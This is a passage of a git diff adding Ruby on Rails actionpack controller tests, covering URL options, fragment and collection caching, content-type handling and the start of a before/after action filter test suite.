+      "X-XSS-Protection" => "1;"
+    }
+
+    response_headers = SimpleController.action("hello").call(
+      "REQUEST_METHOD" => "GET",
+      "rack.input" => -> {}
+    )[1]
+
+    assert response_headers.key?("X-Frame-Options")
+    assert response_headers.key?("X-Content-Type-Options")
+    assert response_headers.key?("X-XSS-Protection")
+  ensure
+    ActionDispatch::Response.default_headers = original_default_headers
+  end
+end
+
+class PerformActionTest < ActionController::TestCase
+  def use_controller(controller_class)
+    @controller = controller_class.new
+
+    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+    # a more accurate simulation of what happens in "real life".
+    @controller.logger = ActiveSupport::Logger.new(nil)
+
+    @request.host = "www.nextangle.com"
+  end
+
+  def test_process_should_be_precise
+    use_controller EmptyController
+    exception = assert_raise AbstractController::ActionNotFound do
+      get :non_existent
+    end
+    assert_equal "The action 'non_existent' could not be found for EmptyController", exception.message
+  end
+
+  def test_action_missing_should_work
+    use_controller ActionMissingController
+    get :arbitrary_action
+    assert_equal "Response for arbitrary_action", @response.body
+  end
+end
+
+class UrlOptionsTest < ActionController::TestCase
+  tests UrlOptionsController
+
+  def setup
+    super
+    @request.host = "www.example.com"
+  end
+
+  def test_url_for_query_params_included
+    rs = ActionDispatch::Routing::RouteSet.new
+    rs.draw do
+      get "home" => "pages#home"
+    end
+
+    options = {
+      action: "home",
+      controller: "pages",
+      only_path: true,
+      params: { "token" => "secret" }
+    }
+
+    assert_equal "/home?token=secret", rs.url_for(options)
+  end
+
+  def test_url_options_override
+    with_routing do |set|
+      set.draw do
+        get "from_view", to: "url_options#from_view", as: :from_view
+
+        ActiveSupport::Deprecation.silence do
+          get ":controller/:action"
+        end
+      end
+
+      get :from_view, params: { route: "from_view_url" }
+
+      assert_equal "http://www.override.com/from_view", @response.body
+      assert_equal "http://www.override.com/from_view", @controller.send(:from_view_url)
+      assert_equal "http://www.override.com/default_url_options/index", @controller.url_for(controller: "default_url_options")
+    end
+  end
+
+  def test_url_helpers_does_not_become_actions
+    with_routing do |set|
+      set.draw do
+        get "account/overview"
+      end
+
+      assert_not_includes @controller.class.action_methods, "account_overview_path"
+    end
+  end
+end
+
+class DefaultUrlOptionsTest < ActionController::TestCase
+  tests DefaultUrlOptionsController
+
+  def setup
+    super
+    @request.host = "www.example.com"
+  end
+
+  def test_default_url_options_override
+    with_routing do |set|
+      set.draw do
+        get "from_view", to: "default_url_options#from_view", as: :from_view
+
+        ActiveSupport::Deprecation.silence do
+          get ":controller/:action"
+        end
+      end
+
+      get :from_view, params: { route: "from_view_url" }
+
+      assert_equal "http://www.override.com/from_view?locale=en", @response.body
+      assert_equal "http://www.override.com/from_view?locale=en", @controller.send(:from_view_url)
+      assert_equal "http://www.override.com/default_url_options/new?locale=en", @controller.url_for(controller: "default_url_options")
+    end
+  end
+
+  def test_default_url_options_are_used_in_non_positional_parameters
+    with_routing do |set|
+      set.draw do
+        scope("/:locale") do
+          resources :descriptions
+        end
+
+        ActiveSupport::Deprecation.silence do
+          get ":controller/:action"
+        end
+      end
+
+      get :from_view, params: { route: "description_path(1)" }
+
+      assert_equal "/en/descriptions/1", @response.body
+      assert_equal "/en/descriptions", @controller.send(:descriptions_path)
+      assert_equal "/pl/descriptions", @controller.send(:descriptions_path, "pl")
+      assert_equal "/pl/descriptions", @controller.send(:descriptions_path, locale: "pl")
+      assert_equal "/pl/descriptions.xml", @controller.send(:descriptions_path, "pl", "xml")
+      assert_equal "/en/descriptions.xml", @controller.send(:descriptions_path, format: "xml")
+      assert_equal "/en/descriptions/1", @controller.send(:description_path, 1)
+      assert_equal "/pl/descriptions/1", @controller.send(:description_path, "pl", 1)
+      assert_equal "/pl/descriptions/1", @controller.send(:description_path, 1, locale: "pl")
+      assert_equal "/pl/descriptions/1.xml", @controller.send(:description_path, "pl", 1, "xml")
+      assert_equal "/en/descriptions/1.xml", @controller.send(:description_path, 1, format: "xml")
+    end
+  end
+end
+
+class OptionalDefaultUrlOptionsControllerTest < ActionController::TestCase
+  def test_default_url_options_override_missing_positional_arguments
+    with_routing do |set|
+      set.draw do
+        get "/things/:id(.:format)" => "things#show", :as => :thing
+      end
+      assert_equal "/things/1.atom", thing_path("1")
+      assert_equal "/things/default-id.atom", thing_path
+    end
+  end
+end
+
+class EmptyUrlOptionsTest < ActionController::TestCase
+  tests NonEmptyController
+
+  def setup
+    super
+    @request.host = "www.example.com"
+  end
+
+  def test_ensure_url_for_works_as_expected_when_called_with_no_options_if_default_url_options_is_not_set
+    get :public_action
+    assert_equal "http://www.example.com/non_empty/public_action", @controller.url_for
+  end
+
+  def test_named_routes_with_path_without_doing_a_request_first
+    @controller = EmptyController.new
+    @controller.request = @request
+
+    with_routing do |set|
+      set.draw do
+        resources :things
+      end
+
+      assert_equal "/things", @controller.send(:things_path)
+    end
+  end
+end
diff --git a/actionpack/test/controller/caching_test.rb b/actionpack/test/controller/caching_test.rb
new file mode 100644
index 0000000000..e0300539c9
--- /dev/null
+++ b/actionpack/test/controller/caching_test.rb
@@ -0,0 +1,503 @@
+# frozen_string_literal: true
+
+require "fileutils"
+require "abstract_unit"
+require "lib/controller/fake_models"
+
+CACHE_DIR = "test_cache"
+# Don't change '/../temp/' cavalierly or you might hose something you don't want hosed
+FILE_STORE_PATH = File.join(__dir__, "../temp/", CACHE_DIR)
+
+class FragmentCachingMetalTestController < ActionController::Metal
+  abstract!
+
+  include ActionController::Caching
+
+  def some_action; end
+end
+
+class FragmentCachingMetalTest < ActionController::TestCase
+  def setup
+    super
+    @store = ActiveSupport::Cache::MemoryStore.new
+    @controller = FragmentCachingMetalTestController.new
+    @controller.perform_caching = true
+    @controller.cache_store = @store
+    @params = { controller: "posts", action: "index" }
+    @controller.params = @params
+    @controller.request = @request
+    @controller.response = @response
+  end
+end
+
+class CachingController < ActionController::Base
+  abstract!
+
+  self.cache_store = :file_store, FILE_STORE_PATH
+end
+
+class FragmentCachingTestController < CachingController
+  def some_action; end
+end
+
+class FragmentCachingTest < ActionController::TestCase
+  ModelWithKeyAndVersion = Struct.new(:cache_key, :cache_version)
+
+  def setup
+    super
+    @store = ActiveSupport::Cache::MemoryStore.new
+    @controller = FragmentCachingTestController.new
+    @controller.perform_caching = true
+    @controller.cache_store = @store
+    @params = { controller: "posts", action: "index" }
+    @controller.params = @params
+    @controller.request = @request
+    @controller.response = @response
+
+    @m1v1 = ModelWithKeyAndVersion.new("model/1", "1")
+    @m1v2 = ModelWithKeyAndVersion.new("model/1", "2")
+    @m2v1 = ModelWithKeyAndVersion.new("model/2", "1")
+    @m2v2 = ModelWithKeyAndVersion.new("model/2", "2")
+  end
+
+  def test_fragment_cache_key
+    assert_deprecated do
+      assert_equal "views/what a key", @controller.fragment_cache_key("what a key")
+      assert_equal "views/test.host/fragment_caching_test/some_action",
+        @controller.fragment_cache_key(controller: "fragment_caching_test", action: "some_action")
+    end
+  end
+
+  def test_combined_fragment_cache_key
+    assert_equal [ :views, "what a key" ], @controller.combined_fragment_cache_key("what a key")
+    assert_equal [ :views, "test.host/fragment_caching_test/some_action" ],
+      @controller.combined_fragment_cache_key(controller: "fragment_caching_test", action: "some_action")
+  end
+
+  def test_read_fragment_with_caching_enabled
+    @store.write("views/name", "value")
+    assert_equal "value", @controller.read_fragment("name")
+  end
+
+  def test_read_fragment_with_caching_disabled
+    @controller.perform_caching = false
+    @store.write("views/name", "value")
+    assert_nil @controller.read_fragment("name")
+  end
+
+  def test_read_fragment_with_versioned_model
+    @controller.write_fragment([ "stuff", @m1v1 ], "hello")
+    assert_equal "hello", @controller.read_fragment([ "stuff", @m1v1 ])
+    assert_nil @controller.read_fragment([ "stuff", @m1v2 ])
+  end
+
+  def test_fragment_exist_with_caching_enabled
+    @store.write("views/name", "value")
+    assert @controller.fragment_exist?("name")
+    assert !@controller.fragment_exist?("other_name")
+  end
+
+  def test_fragment_exist_with_caching_disabled
+    @controller.perform_caching = false
+    @store.write("views/name", "value")
+    assert !@controller.fragment_exist?("name")
+    assert !@controller.fragment_exist?("other_name")
+  end
+
+  def test_write_fragment_with_caching_enabled
+    assert_nil @store.read("views/name")
+    assert_equal "value", @controller.write_fragment("name", "value")
+    assert_equal "value", @store.read("views/name")
+  end
+
+  def test_write_fragment_with_caching_disabled
+    assert_nil @store.read("views/name")
+    @controller.perform_caching = false
+    assert_equal "value", @controller.write_fragment("name", "value")
+    assert_nil @store.read("views/name")
+  end
+
+  def test_expire_fragment_with_simple_key
+    @store.write("views/name", "value")
+    @controller.expire_fragment "name"
+    assert_nil @store.read("views/name")
+  end
+
+  def test_expire_fragment_with_regexp
+    @store.write("views/name", "value")
+    @store.write("views/another_name", "another_value")
+    @store.write("views/primalgrasp", "will not expire ;-)")
+
+    @controller.expire_fragment(/name/)
+
+    assert_nil @store.read("views/name")
+    assert_nil @store.read("views/another_name")
+    assert_equal "will not expire ;-)", @store.read("views/primalgrasp")
+  end
+
+  def test_fragment_for
+    @store.write("views/expensive", "fragment content")
+    fragment_computed = false
+
+    view_context = @controller.view_context
+
+    buffer = "generated till now -> ".html_safe
+    buffer << view_context.send(:fragment_for, "expensive") { fragment_computed = true }
+
+    assert !fragment_computed
+    assert_equal "generated till now -> fragment content", buffer
+  end
+
+  def test_html_safety
+    assert_nil @store.read("views/name")
+    content = "value".html_safe
+    assert_equal content, @controller.write_fragment("name", content)
+
+    cached = @store.read("views/name")
+    assert_equal content, cached
+    assert_equal String, cached.class
+
+    html_safe = @controller.read_fragment("name")
+    assert_equal content, html_safe
+    assert html_safe.html_safe?
+  end
+end
+
+class FunctionalCachingController < CachingController
+  def fragment_cached
+  end
+
+  def html_fragment_cached_with_partial
+    respond_to do |format|
+      format.html
+    end
+  end
+
+  def formatted_fragment_cached
+    respond_to do |format|
+      format.html
+      format.xml
+    end
+  end
+
+  def formatted_fragment_cached_with_variant
+    request.variant = :phone if params[:v] == "phone"
+
+    respond_to do |format|
+      format.html.phone
+      format.html
+    end
+  end
+
+  def fragment_cached_without_digest
+  end
+
+  def fragment_cached_with_options
+  end
+end
+
+class FunctionalFragmentCachingTest < ActionController::TestCase
+  def setup
+    super
+    @store = ActiveSupport::Cache::MemoryStore.new
+    @controller = FunctionalCachingController.new
+    @controller.perform_caching = true
+    @controller.cache_store = @store
+    @controller.enable_fragment_cache_logging = true
+  end
+
+  def test_fragment_caching
+    get :fragment_cached
+    assert_response :success
+    expected_body = <<-CACHED
+Hello
+This bit's fragment cached
+Ciao
+CACHED
+    assert_equal expected_body, @response.body
+
+    assert_equal "This bit's fragment cached",
+      @store.read("views/functional_caching/fragment_cached:#{template_digest("functional_caching/fragment_cached")}/fragment")
+  end
+
+  def test_fragment_caching_in_partials
+    get :html_fragment_cached_with_partial
+    assert_response :success
+    assert_match(/Old fragment caching in a partial/, @response.body)
+
+    assert_match("Old fragment caching in a partial",
+      @store.read("views/functional_caching/_partial:#{template_digest("functional_caching/_partial")}/test.host/functional_caching/html_fragment_cached_with_partial"))
+  end
+
+  def test_skipping_fragment_cache_digesting
+    get :fragment_cached_without_digest, format: "html"
+    assert_response :success
+    expected_body = "<body>\n<p>ERB</p>\n</body>\n"
+
+    assert_equal expected_body, @response.body
+    assert_equal "<p>ERB</p>", @store.read("views/nodigest")
+  end
+
+  def test_fragment_caching_with_options
+    time = Time.now
+    get :fragment_cached_with_options
+    assert_response :success
+    expected_body = "<body>\n<p>ERB</p>\n</body>\n"
+
+    assert_equal expected_body, @response.body
+    Time.stub(:now, time + 11) do
+      assert_nil @store.read("views/with_options")
+    end
+  end
+
+  def test_render_inline_before_fragment_caching
+    get :inline_fragment_cached
+    assert_response :success
+    assert_match(/Some inline content/, @response.body)
+    assert_match(/Some cached content/, @response.body)
+    assert_match("Some cached content",
+      @store.read("views/functional_caching/inline_fragment_cached:#{template_digest("functional_caching/inline_fragment_cached")}/test.host/functional_caching/inline_fragment_cached"))
+  end
+
+  def test_fragment_cache_instrumentation
+    payload = nil
+
+    subscriber = proc do |*args|
+      event = ActiveSupport::Notifications::Event.new(*args)
+      payload = event.payload
+    end
+
+    ActiveSupport::Notifications.subscribed(subscriber, "read_fragment.action_controller") do
+      get :inline_fragment_cached
+    end
+
+    assert_equal "functional_caching", payload[:controller]
+    assert_equal "inline_fragment_cached", payload[:action]
+  end
+
+  def test_html_formatted_fragment_caching
+    get :formatted_fragment_cached, format: "html"
+    assert_response :success
+    expected_body = "<body>\n<p>ERB</p>\n</body>\n"
+
+    assert_equal expected_body, @response.body
+
+    assert_equal "<p>ERB</p>",
+      @store.read("views/functional_caching/formatted_fragment_cached:#{template_digest("functional_caching/formatted_fragment_cached")}/fragment")
+  end
+
+  def test_xml_formatted_fragment_caching
+    get :formatted_fragment_cached, format: "xml"
+    assert_response :success
+    expected_body = "<body>\n  <p>Builder</p>\n</body>\n"
+
+    assert_equal expected_body, @response.body
+
+    assert_equal "  <p>Builder</p>\n",
+      @store.read("views/functional_caching/formatted_fragment_cached:#{template_digest("functional_caching/formatted_fragment_cached")}/fragment")
+  end
+
+  def test_fragment_caching_with_variant
+    get :formatted_fragment_cached_with_variant, format: "html", params: { v: :phone }
+    assert_response :success
+    expected_body = "<body>\n<p>PHONE</p>\n</body>\n"
+
+    assert_equal expected_body, @response.body
+
+    assert_equal "<p>PHONE</p>",
+      @store.read("views/functional_caching/formatted_fragment_cached_with_variant:#{template_digest("functional_caching/formatted_fragment_cached_with_variant")}/fragment")
+  end
+
+  private
+    def template_digest(name)
+      ActionView::Digestor.digest(name: name, finder: @controller.lookup_context)
+    end
+end
+
+class CacheHelperOutputBufferTest < ActionController::TestCase
+  class MockController
+    def read_fragment(name, options)
+      return false
+    end
+
+    def write_fragment(name, fragment, options)
+      fragment
+    end
+  end
+
+  def setup
+    super
+  end
+
+  def test_output_buffer
+    output_buffer = ActionView::OutputBuffer.new
+    controller = MockController.new
+    cache_helper = Class.new do
+      def self.controller; end;
+      def self.output_buffer; end;
+      def self.output_buffer=; end;
+    end
+    cache_helper.extend(ActionView::Helpers::CacheHelper)
+
+    cache_helper.stub :controller, controller do
+      cache_helper.stub :output_buffer, output_buffer do
+        assert_called_with cache_helper, :output_buffer=, [output_buffer.class.new(output_buffer)] do
+          assert_nothing_raised do
+            cache_helper.send :fragment_for, "Test fragment name", "Test fragment", &Proc.new { nil }
+          end
+        end
+      end
+    end
+  end
+
+  def test_safe_buffer
+    output_buffer = ActiveSupport::SafeBuffer.new
+    controller = MockController.new
+    cache_helper = Class.new do
+      def self.controller; end;
+      def self.output_buffer; end;
+      def self.output_buffer=; end;
+    end
+    cache_helper.extend(ActionView::Helpers::CacheHelper)
+
+    cache_helper.stub :controller, controller do
+      cache_helper.stub :output_buffer, output_buffer do
+        assert_called_with cache_helper, :output_buffer=, [output_buffer.class.new(output_buffer)] do
+          assert_nothing_raised do
+            cache_helper.send :fragment_for, "Test fragment name", "Test fragment", &Proc.new { nil }
+          end
+        end
+      end
+    end
+  end
+end
+
+class ViewCacheDependencyTest < ActionController::TestCase
+  class NoDependenciesController < ActionController::Base
+  end
+
+  class HasDependenciesController < ActionController::Base
+    view_cache_dependency { "trombone" }
+    view_cache_dependency { "flute" }
+  end
+
+  def test_view_cache_dependencies_are_empty_by_default
+    assert NoDependenciesController.new.view_cache_dependencies.empty?
+  end
+
+  def test_view_cache_dependencies_are_listed_in_declaration_order
+    assert_equal %w(trombone flute), HasDependenciesController.new.view_cache_dependencies
+  end
+end
+
+class CollectionCacheController < ActionController::Base
+  attr_accessor :partial_rendered_times
+
+  def index
+    @customers = [Customer.new("david", params[:id] || 1)]
+  end
+
+  def index_ordered
+    @customers = [Customer.new("david", 1), Customer.new("david", 2), Customer.new("david", 3)]
+    render "index"
+  end
+
+  def index_explicit_render_in_controller
+    @customers = [Customer.new("david", 1)]
+    render partial: "customers/customer", collection: @customers, cached: true
+  end
+
+  def index_with_comment
+    @customers = [Customer.new("david", 1)]
+    render partial: "customers/commented_customer", collection: @customers, as: :customer, cached: true
+  end
+
+  def index_with_callable_cache_key
+    @customers = [Customer.new("david", 1)]
+    render partial: "customers/customer", collection: @customers, cached: -> customer { "cached_david" }
+  end
+end
+
+class CollectionCacheTest < ActionController::TestCase
+  def setup
+    super
+    @controller = CollectionCacheController.new
+    @controller.perform_caching = true
+    @controller.partial_rendered_times = 0
+    @controller.cache_store = ActiveSupport::Cache::MemoryStore.new
+    ActionView::PartialRenderer.collection_cache = ActiveSupport::Cache::MemoryStore.new
+  end
+
+  def test_collection_fetches_cached_views
+    get :index
+    assert_equal 1, @controller.partial_rendered_times
+    assert_match "david, 1", ActionView::PartialRenderer.collection_cache.read("views/customers/_customer:7c228ab609f0baf0b1f2367469210937/david/1")
+
+    get :index
+    assert_equal 1, @controller.partial_rendered_times
+  end
+
+  def test_preserves_order_when_reading_from_cache_plus_rendering
+    get :index, params: { id: 2 }
+    assert_equal 1, @controller.partial_rendered_times
+    assert_select ":root", "david, 2"
+
+    get :index_ordered
+    assert_equal 3, @controller.partial_rendered_times
+    assert_select ":root", "david, 1\n  david, 2\n  david, 3"
+  end
+
+  def test_explicit_render_call_with_options
+    get :index_explicit_render_in_controller
+
+    assert_select ":root", "david, 1"
+  end
+
+  def test_caching_works_with_beginning_comment
+    get :index_with_comment
+    assert_equal 1, @controller.partial_rendered_times
+
+    get :index_with_comment
+    assert_equal 1, @controller.partial_rendered_times
+  end
+
+  def test_caching_with_callable_cache_key
+    get :index_with_callable_cache_key
+    assert_match "david, 1", ActionView::PartialRenderer.collection_cache.read("views/customers/_customer:7c228ab609f0baf0b1f2367469210937/cached_david")
+  end
+end
+
+class FragmentCacheKeyTestController < CachingController
+  attr_accessor :account_id
+
+  fragment_cache_key "v1"
+  fragment_cache_key { account_id }
+end
+
+class FragmentCacheKeyTest < ActionController::TestCase
+  def setup
+    super
+    @store = ActiveSupport::Cache::MemoryStore.new
+    @controller = FragmentCacheKeyTestController.new
+    @controller.perform_caching = true
+    @controller.cache_store = @store
+  end
+
+  def test_combined_fragment_cache_key
+    @controller.account_id = "123"
+    assert_equal [ :views, "v1", "123", "what a key" ], @controller.combined_fragment_cache_key("what a key")
+
+    @controller.account_id = nil
+    assert_equal [ :views, "v1", "what a key" ], @controller.combined_fragment_cache_key("what a key")
+  end
+
+  def test_combined_fragment_cache_key_with_envs
+    ENV["RAILS_APP_VERSION"] = "55"
+    assert_equal [ :views, "55", "v1", "what a key" ], @controller.combined_fragment_cache_key("what a key")
+
+    ENV["RAILS_CACHE_ID"] = "66"
+    assert_equal [ :views, "66", "v1", "what a key" ], @controller.combined_fragment_cache_key("what a key")
+  ensure
+    ENV["RAILS_CACHE_ID"] = ENV["RAILS_APP_VERSION"] = nil
+  end
+end
diff --git a/actionpack/test/controller/content_type_test.rb b/actionpack/test/controller/content_type_test.rb
new file mode 100644
index 0000000000..636b025f2c
--- /dev/null
+++ b/actionpack/test/controller/content_type_test.rb
@@ -0,0 +1,169 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class OldContentTypeController < ActionController::Base
+  # :ported:
+  def render_content_type_from_body
+    response.content_type = Mime[:rss]
+    render body: "hello world!"
+  end
+
+  # :ported:
+  def render_defaults
+    render body: "hello world!"
+  end
+
+  # :ported:
+  def render_content_type_from_render
+    render body: "hello world!", content_type: Mime[:rss]
+  end
+
+  # :ported:
+  def render_charset_from_body
+    response.charset = "utf-16"
+    render body: "hello world!"
+  end
+
+  # :ported:
+  def render_nil_charset_from_body
+    response.charset = nil
+    render body: "hello world!"
+  end
+
+  def render_default_for_erb
+  end
+
+  def render_default_for_builder
+  end
+
+  def render_change_for_builder
+    response.content_type = Mime[:html]
+    render action: "render_default_for_builder"
+  end
+
+  def render_default_content_types_for_respond_to
+    respond_to do |format|
+      format.html { render body: "hello world!" }
+      format.xml  { render action: "render_default_content_types_for_respond_to" }
+      format.js   { render body: "hello world!" }
+      format.rss  { render body: "hello world!", content_type: Mime[:xml] }
+    end
+  end
+end
+
+class ContentTypeTest < ActionController::TestCase
+  tests OldContentTypeController
+
+  def setup
+    super
+    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+    # a more accurate simulation of what happens in "real life".
+    @controller.logger = ActiveSupport::Logger.new(nil)
+  end
+
+  # :ported:
+  def test_render_defaults
+    get :render_defaults
+    assert_equal "utf-8", @response.charset
+    assert_equal Mime[:text], @response.content_type
+  end
+
+  def test_render_changed_charset_default
+    with_default_charset "utf-16" do
+      get :render_defaults
+      assert_equal "utf-16", @response.charset
+      assert_equal Mime[:text], @response.content_type
+    end
+  end
+
+  # :ported:
+  def test_content_type_from_body
+    get :render_content_type_from_body
+    assert_equal Mime[:rss], @response.content_type
+    assert_equal "utf-8", @response.charset
+  end
+
+  # :ported:
+  def test_content_type_from_render
+    get :render_content_type_from_render
+    assert_equal Mime[:rss], @response.content_type
+    assert_equal "utf-8", @response.charset
+  end
+
+  # :ported:
+  def test_charset_from_body
+    get :render_charset_from_body
+    assert_equal Mime[:text], @response.content_type
+    assert_equal "utf-16", @response.charset
+  end
+
+  # :ported:
+  def test_nil_charset_from_body
+    get :render_nil_charset_from_body
+    assert_equal Mime[:text], @response.content_type
+    assert_equal "utf-8", @response.charset, @response.headers.inspect
+  end
+
+  def test_nil_default_for_erb
+    with_default_charset nil do
+      get :render_default_for_erb
+      assert_equal Mime[:html], @response.content_type
+      assert_nil @response.charset, @response.headers.inspect
+    end
+  end
+
+  def test_default_for_erb
+    get :render_default_for_erb
+    assert_equal Mime[:html], @response.content_type
+    assert_equal "utf-8", @response.charset
+  end
+
+  def test_default_for_builder
+    get :render_default_for_builder
+    assert_equal Mime[:xml], @response.content_type
+    assert_equal "utf-8", @response.charset
+  end
+
+  def test_change_for_builder
+    get :render_change_for_builder
+    assert_equal Mime[:html], @response.content_type
+    assert_equal "utf-8", @response.charset
+  end
+
+  private
+
+    def with_default_charset(charset)
+      old_default_charset = ActionDispatch::Response.default_charset
+      ActionDispatch::Response.default_charset = charset
+      yield
+    ensure
+      ActionDispatch::Response.default_charset = old_default_charset
+    end
+end
+
+class AcceptBasedContentTypeTest < ActionController::TestCase
+  tests OldContentTypeController
+
+  def test_render_default_content_types_for_respond_to
+    @request.accept = Mime[:html].to_s
+    get :render_default_content_types_for_respond_to
+    assert_equal Mime[:html], @response.content_type
+
+    @request.accept = Mime[:js].to_s
+    get :render_default_content_types_for_respond_to
+    assert_equal Mime[:js], @response.content_type
+  end
+
+  def test_render_default_content_types_for_respond_to_with_template
+    @request.accept = Mime[:xml].to_s
+    get :render_default_content_types_for_respond_to
+    assert_equal Mime[:xml], @response.content_type
+  end
+
+  def test_render_default_content_types_for_respond_to_with_overwrite
+    @request.accept = Mime[:rss].to_s
+    get :render_default_content_types_for_respond_to
+    assert_equal Mime[:xml], @response.content_type
+  end
+end
diff --git a/actionpack/test/controller/controller_fixtures/app/controllers/admin/user_controller.rb b/actionpack/test/controller/controller_fixtures/app/controllers/admin/user_controller.rb
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/actionpack/test/controller/controller_fixtures/app/controllers/admin/user_controller.rb
diff --git a/actionpack/test/controller/controller_fixtures/app/controllers/user_controller.rb b/actionpack/test/controller/controller_fixtures/app/controllers/user_controller.rb
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/actionpack/test/controller/controller_fixtures/app/controllers/user_controller.rb
diff --git a/actionpack/test/controller/controller_fixtures/vendor/plugins/bad_plugin/lib/plugin_controller.rb b/actionpack/test/controller/controller_fixtures/vendor/plugins/bad_plugin/lib/plugin_controller.rb
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/actionpack/test/controller/controller_fixtures/vendor/plugins/bad_plugin/lib/plugin_controller.rb
diff --git a/actionpack/test/controller/default_url_options_with_before_action_test.rb b/actionpack/test/controller/default_url_options_with_before_action_test.rb
new file mode 100644
index 0000000000..fc5b8288cd
--- /dev/null
+++ b/actionpack/test/controller/default_url_options_with_before_action_test.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ControllerWithBeforeActionAndDefaultUrlOptions < ActionController::Base
+  before_action { I18n.locale = params[:locale] }
+  after_action { I18n.locale = "en" }
+
+  def target
+    render plain: "final response"
+  end
+
+  def redirect
+    redirect_to action: "target"
+  end
+
+  def default_url_options
+    { locale: "de" }
+  end
+end
+
+class ControllerWithBeforeActionAndDefaultUrlOptionsTest < ActionController::TestCase
+  # This test has its roots in issue #1872
+  test "should redirect with correct locale :de" do
+    get :redirect, params: { locale: "de" }
+    assert_redirected_to "/controller_with_before_action_and_default_url_options/target?locale=de"
+  end
+end
diff --git a/actionpack/test/controller/filters_test.rb b/actionpack/test/controller/filters_test.rb
new file mode 100644
index 0000000000..9f0a9dec7a
--- /dev/null
+++ b/actionpack/test/controller/filters_test.rb
@@ -0,0 +1,1050 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ActionController::Base
+  class << self
+    %w(append_around_action prepend_after_action prepend_around_action prepend_before_action skip_after_action skip_before_action).each do |pending|
+      define_method(pending) do |*args|
+        $stderr.puts "#{pending} unimplemented: #{args.inspect}"
+      end unless method_defined?(pending)
+    end
+
+    def before_actions
+      filters = _process_action_callbacks.select { |c| c.kind == :before }
+      filters.map!(&:raw_filter)
+    end
+  end
+end
+
+class FilterTest < ActionController::TestCase
+  class TestController < ActionController::Base
+    before_action :ensure_login
+    after_action  :clean_up
+
+    def show
+      render inline: "ran action"
+    end
+
+    private
+      def ensure_login
+        @ran_filter ||= []
+        @ran_filter << "ensure_login"
+      end
+
+      def clean_up
+        @ran_after_action ||= []
+        @ran_after_action << "clean_up"
+      end
+  end
+
+  class ChangingTheRequirementsController < TestController
+    before_action :ensure_login, except: [:go_wild]
+
+    def go_wild
+      render plain: "gobble"
+    end
+  end
+
+  class TestMultipleFiltersController < ActionController::Base
+    before_action :try_1
+    before_action :try_2
+    before_action :try_3
+
+    (1..3).each do |i|
+      define_method "fail_#{i}" do
+        render plain: i.to_s
+      end
+    end
+
+    private
+      (1..3).each do |i|
+        define_method "try_#{i}" do
+          instance_variable_set :@try, i
+          if action_name == "fail_#{i}"
+            head(404)
+          end
+        end
+      end
+  end
+
+  class RenderingController < ActionController::Base
+    before_action :before_action_rendering
+    after_action :unreached_after_action
+
+    def show
+      @ran_action = true
+      render inline: "ran action"
+    end
+
+    private
+      def before_action_rendering
+        @ran_filter ||= []
+        @ran_filter << "before_action_rendering"
+        render inline: "something else"
+      end
+
+      def unreached_after_action
+        @ran_filter << "unreached_after_action_after_render"
+      end
+  end
+
+  class RenderingForPrependAfterActionController < RenderingController
+    prepend_after_action :unreached_prepend_after_action
+
+    private
+      def unreached_prepend_after_action
+        @ran_filter << "unreached_preprend_after_action_after_render"
+      end
+  end
+
+  class BeforeActionRedirectionController < ActionController::Base
+    before_action :before_action_redirects
+    after_action :unreached_after_action
+
+    def show
+      @ran_action = true
+      render inline: "ran show action"
+    end
+
+    def target_of_redirection
+      @ran_target_of_redirection = true
+      render inline: "ran target_of_redirection action"
+    end
+
+    private
+      def before_action_redirects
+        @ran_filter ||= []
+        @ran_filter << "before_action_redirects"
+        redirect_to(action: "target_of_redirection")
+      end
+
+      def unreached_after_action
+        @ran_filter << "unreached_after_action_after_redirection"
+      end
+  end
+
+  class BeforeActionRedirectionForPrependAfterActionController < BeforeActionRedirectionController
+    prepend_after_action :unreached_prepend_after_action_after_redirection
+
+    private
+      def unreached_prepend_after_action_after_redirection
+        @ran_filter << "unreached_prepend_after_action_after_redirection"
+      end
+  end
+
+  class ConditionalFilterController < ActionController::Base
+    def show
+      render inline: "ran action"
+    end
+
+    def another_action
+      render inline: "ran action"
+    end
+
+    def show_without_action
+      render inline: "ran action without action"
+    end
+
+    private
+      def ensure_login
+        @ran_filter ||= []
+        @ran_filter << "ensure_login"
+      end
+
+      def clean_up_tmp
+        @ran_filter ||= []
+        @ran_filter << "clean_up_tmp"
+      end
+  end
+
+  class ConditionalCollectionFilterController < ConditionalFilterController
+    before_action :ensure_login, except: [ :show_without_action, :another_action ]
+  end
+
+  class OnlyConditionSymController < ConditionalFilterController
+    before_action :ensure_login, only: :show
+  end
+
+  class ExceptConditionSymController < ConditionalFilterController
+    before_action :ensure_login, except: :show_without_action
+  end
+
+  class BeforeAndAfterConditionController < ConditionalFilterController
+    before_action :ensure_login, only: :show
+    after_action  :clean_up_tmp, only: :show
+  end
+
+  class OnlyConditionProcController < ConditionalFilterController
+    before_action(only: :show) { |c| c.instance_variable_set(:"@ran_proc_action", true) }
+  end
+
+  class ExceptConditionProcController < ConditionalFilterController
+    before_action(except: :show_without_action) { |c| c.instance_variable_set(:"@ran_proc_action", true) }
+  end
+
+  class ConditionalClassFilter
+    def self.before(controller) controller.instance_variable_set(:"@ran_class_action", true) end
+  end
+
+  class OnlyConditionClassController < ConditionalFilterController
+    before_action ConditionalClassFilter, only: :show
+  end
+
+  class ExceptConditionClassController < ConditionalFilterController
+    before_action ConditionalClassFilter, except: :show_without_action
+  end
+
+  class AnomolousYetValidConditionController < ConditionalFilterController
+    before_action(ConditionalClassFilter, :ensure_login, Proc.new { |c| c.instance_variable_set(:"@ran_proc_action1", true) }, except: :show_without_action) { |c| c.instance_variable_set(:"@ran_proc_action2", true) }
+  end
+
+  class OnlyConditionalOptionsFilter < ConditionalFilterController
+    before_action :ensure_login, only: :index, if: Proc.new { |c| c.instance_variable_set(:"@ran_conditional_index_proc", true) }
+  end
+
+  class ConditionalOptionsFilter < ConditionalFilterController
+    before_action :ensure_login, if: Proc.new { |c| true }
+    before_action :clean_up_tmp, if: Proc.new { |c| false }
+  end
+
+  class ConditionalOptionsSkipFilter < ConditionalFilterController
+    before_action :ensure_login
+    before_action :clean_up_tmp
+
